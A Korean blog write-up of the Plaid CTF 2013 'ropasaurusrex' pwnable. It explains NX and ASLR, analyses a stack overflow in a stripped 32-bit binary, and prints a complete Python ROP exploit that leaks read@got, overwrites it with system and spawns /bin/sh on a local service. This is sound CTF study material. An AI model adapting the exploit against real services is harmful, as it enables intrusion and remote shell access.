Phantom

1 Plaid CTF 2013 - ropasaurusrex 본문

Pwnable/WriteUp

1 Plaid CTF 2013 - ropasaurusrex

Ph4nt0m_ 2017. 4. 26. 21:02
반응형
  1. 개요
    이 문제는 ROP 기법을 공부하는 사람들이라면 한 번 쯤 풀어본다는 2013년도 pCTF의 Ropasaurusrex 이다.
    이전 흑객이라는 스터디에서 Hackerschool의 문제로 아주 쉬운 ROP를 한적이 있는데 개인적으로 많은 자료들을 인용하고 보고 배우며 삽질은 한 문제이다.
  2. 문제 내용

    파일을 실행하고 아무거나 입력하면 “WIN”이라는 문자열을 출력하고 종료한다.


    너무 짧게 넣었나??

    무지 많이 넣으니 세그멘테이션 폴트가 뜨고 종료한다. 단순한 BOF문제일까?

    일단 파일에 대해 알아보자.

    32bit ELF 바이너리이며

    이번에 안 사실인데 stripped라고 되어 있다면 main함수는 어셈이 보이지 않을 것이다.


    보호기법으로는 NX가 걸려 있다. 그리고 OS환경상 ASLR이 걸려 있다.


  3. NX(No Excutable), ASLR(Address Space Layout Randomization)
    NX란 메모리 보호 기법 중 하나로, 메모리 권한을 w권한과 x권한을 동시에 갖지 않도록 설정하는 것이다.
    예를 들어 지역변수에 입력을 받을 때 overflow가 발생하는 바이너리가 있다고 하자. 
    만약 NX가 활성화 되어 있지 않다면 지역변수 메모리에 쉘코드를 넣고 ret에 BOF가 가능하다.하지만 NX가 활성화 되어 있다면 메모리에 x 권한이 없으므로 쉘코드를 실행시킬 수 없다.

     
    ASLR(Address Space Layout Randomization)
    메모리상의 공격을 방어하기 위해 주소 공간배치를 난수화 시키는 기법.
    스택, 힙, 라이브러리 등의 데이터 영역 주소 등을 난수화 시킨 주소로 프로세스의 주소 공간에 배치하는 것.





  4. 문제 분석
    바이너리를 gdb로 우선 열어봤다.

    아까 말했듯이 strip되어 있어서 메인 심볼이 제거되어 있다.

    그럼 이젠 어떻게 분석하냐, .text영역의 main코드를 읽을 순 있지만

    일단 IDA로 헥스레이를 돌려보자

    메인 함수는 간단하다. 우선 저 vuln_func() 함수 안에 들어가 봐야 할 것 같다.

    이 부분에서 취약점이 존재한다.

    Buffer의 크기가 136밖에 안되는데 read함수로 256바이트를 읽어온다.

    이것은 .text영역에서 main과 vuln_func()로 추측되는 부분을 가져온 것이다.

    Hand + hex-ray = Hand-ray를 하자면

    이렇게 된다.

    NX, ASLR을 우회하여 ROP를 하면 되는 간단한 문제라 한다. 문제만 보면 아주 간단하다.





    프로그램의 흐름상 read함수를 실행 후 write함수를 실행한다.

    우선 read함수의 plt와 got를 구한다.

    read@plt : 0x804832c

    read@got : 0x804961c


    저장 가능한 영역을 찾는다.


    이 세 곳 중에 저장 가능한곳이 .data와 .bss는 8바이트밖에 저장이 불가능하다.

    그래서 .dynamic영역에 “/bin/sh”문자열을 넣겠다.

    아직 많이 미숙하여 Writeup을 그대로 따라하며 이해를 해봤다.

    먼저 이 프로그램은 read함수와 write함수밖에사용하지않는다.

    디버거 상에서 프로그램 종료 후??(이건 잘 모르겠지만(dl_solver이후) 바뀐 함수들의 오프셋

    을 구한다.

    .dynamic 영역은 아까 위에 0x8049530으로 구해졌고

    read – system 의 offset은 0x99880이다.

    문자열인 “/bin/sh”는 그냥 준비하면 되고

    pop pop pop ret의 주소를 구하면 된다.

     

    pppr의 주소는 : 0x80484b6이다.


  5. 풀이

    자 이제 준비물들은 준비되었고 풀어보자면

    read함수를 사용해서 .dynamic영역에 “/bin/sh”를 입력 받을 준비를 한다.

    그리고 write함수를 사용해서 read@got를 변조한다.

    그리고 변조된 read@got와 read - system의 거리를 연산하여 넣는다. 그럼 이제 read()는 system()이 된다.

    system함수의 리턴 값에 아무 값이나 넣어주고 인자에 “/bin/sh”가 저장된 곳의 주소를 넣어준다.

    페이로드를 보내고 “/bin/sh”를 보낸다.

    그리고 4바이트만큼 리틀엔디언 값으로 read함수의 주소를 받는다.

    아까 준비한 오프셋으로 read – offset 계산을 하여 system함수의 위치를 구한다!!

    그리고 그걸 다시 보내고 명령을 보낸다면....



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    from socket import *
    from struct import *
     
    = lambda x : pack("<L", x)
    up = lambda x : unpack("<L",x)[0]
     
    ip = "localhost"
    port = 6666
     
    = socket(AF_INET, SOCK_STREAM)
    s.connect((ip,port))
     
    read_plt = 0x804832c
    read_got = 0x804961c
    write_plt = 0x804830c
    offset = 0x99880 # libc.so.6 read - system
    dynamic = 0x8049530
    pppr = 0x80484b6
    cmd = "/bin/sh"
    len_cmd = len(cmd)
     
    payload = ""
    payload += "A"*140
     
    # read를 사용해서 dynamic에 입력받을 준비를 하는 부분
    # .dynamic에 데이터 입력공간 확보
    payload += p(read_plt)
    payload += p(pppr)
    payload += p(0)
    payload += p(dynamic)
    payload += p(len_cmd)
     
    # write 를 사용해서 현재 주소의 read@got를 변조하는 부분
    # 서버의 입장에서 클라이언트에게 쓸때 write함수를 이용해서 read@got를 변조
    payload += p(write_plt)
    payload += p(pppr)
    payload += p(1)
    payload += p(read_got)
    payload += p(4)
     
    # read를 이용해서 변조된 read@got와 read - system 의 거리를 연산하여 넣음
    # input : real read@got - offset(read-system) system()
    payload += p(read_plt)
    payload += p(pppr)
    payload += p(0)
    payload += p(read_got)
    payload += p(4)
     
    # read 함수의 리턴값에 아무값이나 넣고 인자에 .dynamic영역을 지정해준다.
    payload += p(read_plt)
    payload += "AAAA"
    payload += p(dynamic)
     
    # 페이로드를 보내고 문자열을 보낸다.
    s.send(payload)
    s.send(cmd)
     
    # read함수의 주소를 받는다.
    read = up(s.recv(4))
     
    # offset 계산
    system = read - offset
    print hex(system)
     
    s.send(p(system))
    s.send("cat /ctf/success.txt\n")
    print s.recv(1024)
    cs
  6. Preference
    https://bpsecblog.wordpress.com/2016/03/12/pctf2013_ropasaurusrex/

    https://bpsecblog.wordpress.com/2017/01/20/plaidctf-ropasaurusrex/

    https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/

    http://confus3r.tistory.com/entry/Plaid-CTF-2013-ropasaurusrex


반응형

'Pwnable > WriteUp' 카테고리의 다른 글

Start  (0) 2022.07.03
Simple login  (0) 2019.06.06
CodeGate 2014 Nuclear WriteUp  (0) 2017.07.18
ActiveX Heap Spray_COMRaider Fuzzing POC  (2) 2016.05.16
붉은별 OS 3.0 local privilege escalation POC  (0) 2016.05.09
Comments